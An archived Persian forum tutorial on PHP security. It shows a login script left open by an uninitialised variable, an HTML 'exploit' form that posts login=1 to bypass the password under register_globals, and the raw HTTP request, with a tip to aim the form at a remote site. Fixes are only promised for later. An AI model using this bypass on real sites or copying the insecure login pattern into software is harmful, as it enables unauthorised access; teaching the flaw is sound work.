PDA

توجه ! این یک نسخه آرشیو شده می باشد و در این حالت شما عکسی را مشاهده نمی کنید برای مشاهده کامل متن و عکسها بر روی لینک مقابل کلیک کنید : امنیت در Php



TAHA
10-31-2009, 09:25 PM
رای شروع از مبحث درست عرض یابی نشدن متد های GET و POST شروع میکنم

برای مثال به قطعه کد زیر نگاه کنید که برای لوگین طراحی شده :

كد:

<?
if (empty($_POST['password'])){
?>
<html>
<body>
<form action=login.php method=POST>
password:<input type=password name=password>
<input type=submit value=ok>
</form>
</body>
</html>
<?
}
?>
<?
$password = strtolower(md5($_POST['password']));
$pass = "fcdd8c14398367d1a71f1d66c8d5be0a";
if($password == $pass){
$login= 1;
}
if($login==1)
{
echo "shoma vared shodid";
}else{
echo "password eshtebah ast";
}
?>



خوب همون طور که میبینید هیچ مشکلی نیست و فقط با دونستن کلمه ی عبور میتونید وارد بشید و پیغام شما وارد شدید رو ببینید

کلمه عبور = (nic واقعی خودم یا همون asadhacker )

خوب اگه به کد نگاه کنید میبینید که کلمه عبور کاملا" هش شده و نمیشه پیچوندتش ولی اگه یکم دقت کنید متوجه میشید زمانی که پسورد درست وارد بشه اونوقت متغیر login مقدار یک میگیره و شرط برقرار میشه و لوگین کامل میشه ! خوب برای دور زدن این کد تنها کاری که ما باید بکنیم اینه که بیایم به متغیر login مقدار یک بدیم !

به قطعه کد زیر نگاه کنید :



كد:

<?
echo "<html>
<body>
<form action='login.php' method='POST'>
Password : <input type='password' name='password'>
Login :
<input type='text' name='login' value='1' readonly >
<input type='submit' value='Go'>
</form>
</body>
</html>";
?>



خوب با استفاده از این Exploit شما میتونید بدون داشتن پسورد وارد بشید ! یعنی شما اگه پسورد رو اشتباه وارد کنید توی برنامه کنترل میشه توی این خط :

كد:

<?
$password = strtolower(md5($_POST['password']));
$pass = "fcdd8c14398367d1a71f1d66c8d5be0a";
if($password == $pass){ // <== اینجا
$login= 1;
}
if($login==1)
{
echo "shoma vared shodid";
}else{
echo "password eshtebah ast";
}
?>



که اگه اشتباه بود متغیر لوگین مقدار دهی نمیشه ولی بعد تو خط هفتم از فایل Exploit میبینید که مقدار 1 رو برای متغیر login ارسال میکنه و برابر 1 میشه و دیگه باقی
ماجرا ...

برای روشن تر شدن این موضوع بیایم به درخواست های http که از سمت فایل exploit ارسال میشه یه نگاهی بندازیم ! :

كد:

POST /test/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Opera/9.02 (Windows NT 5.1; U; en)
Accept: */*
Accept-Language: fa-IR,fa;q=0.9,en;q=0.8
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive, TE
Referer: http://127.0.0.1/test/login.php (http://forum.patoghu.com/redirector.php?url=http%3A%2F%2F127.0.0.1%2Ftest%2 Flogin.php)
password=everypassword&login=l



به خط آخر یه نگاهی بندازید ! به متغیر login و password مقدار دهی شده !


نکته برای تازه کار ها : توی فایل Exploit قسمت اکشن که نوشته شده login.php شما باید آدرس فایل راه دور رو به طور کامل وارد کنید از اول http:// (http:///) یا www. (http://forum.patoghu.com/redirector.php?url=http%3A%2F%2Fwww.%2F) تا آخر


حالا سوالی که پیش میاد اینه که اگه به فایل login.php دقت کنید متوجه میشید که ما برای اینکه بتونیم مقداری که از فرم Html به سمت php ارسال شده استفاده کنیم باید از $_POST استفاده کنیم که در خط 16 ما با استفاده از $_POST مقدار ارسالی از فرم html رو توی متغیر پسورد قرار دادیم ! ولی ما مقدار متغییر لوگین رو برابر $_POST قرار ندادیم که هر داده ای که از فرم های خارجی بیاد به این متغییر مقدار بده ! پس چطور این اتفاق افتاد ؟؟؟ !

خوب جواب این سوال توی همین متن نوشته شده


در مورد روش جلو گیری هم راه های زیادی وجود داره که میشه از جلسه ها یا کوکی ها استفاده کرد که باشه واسه دفعه بعد...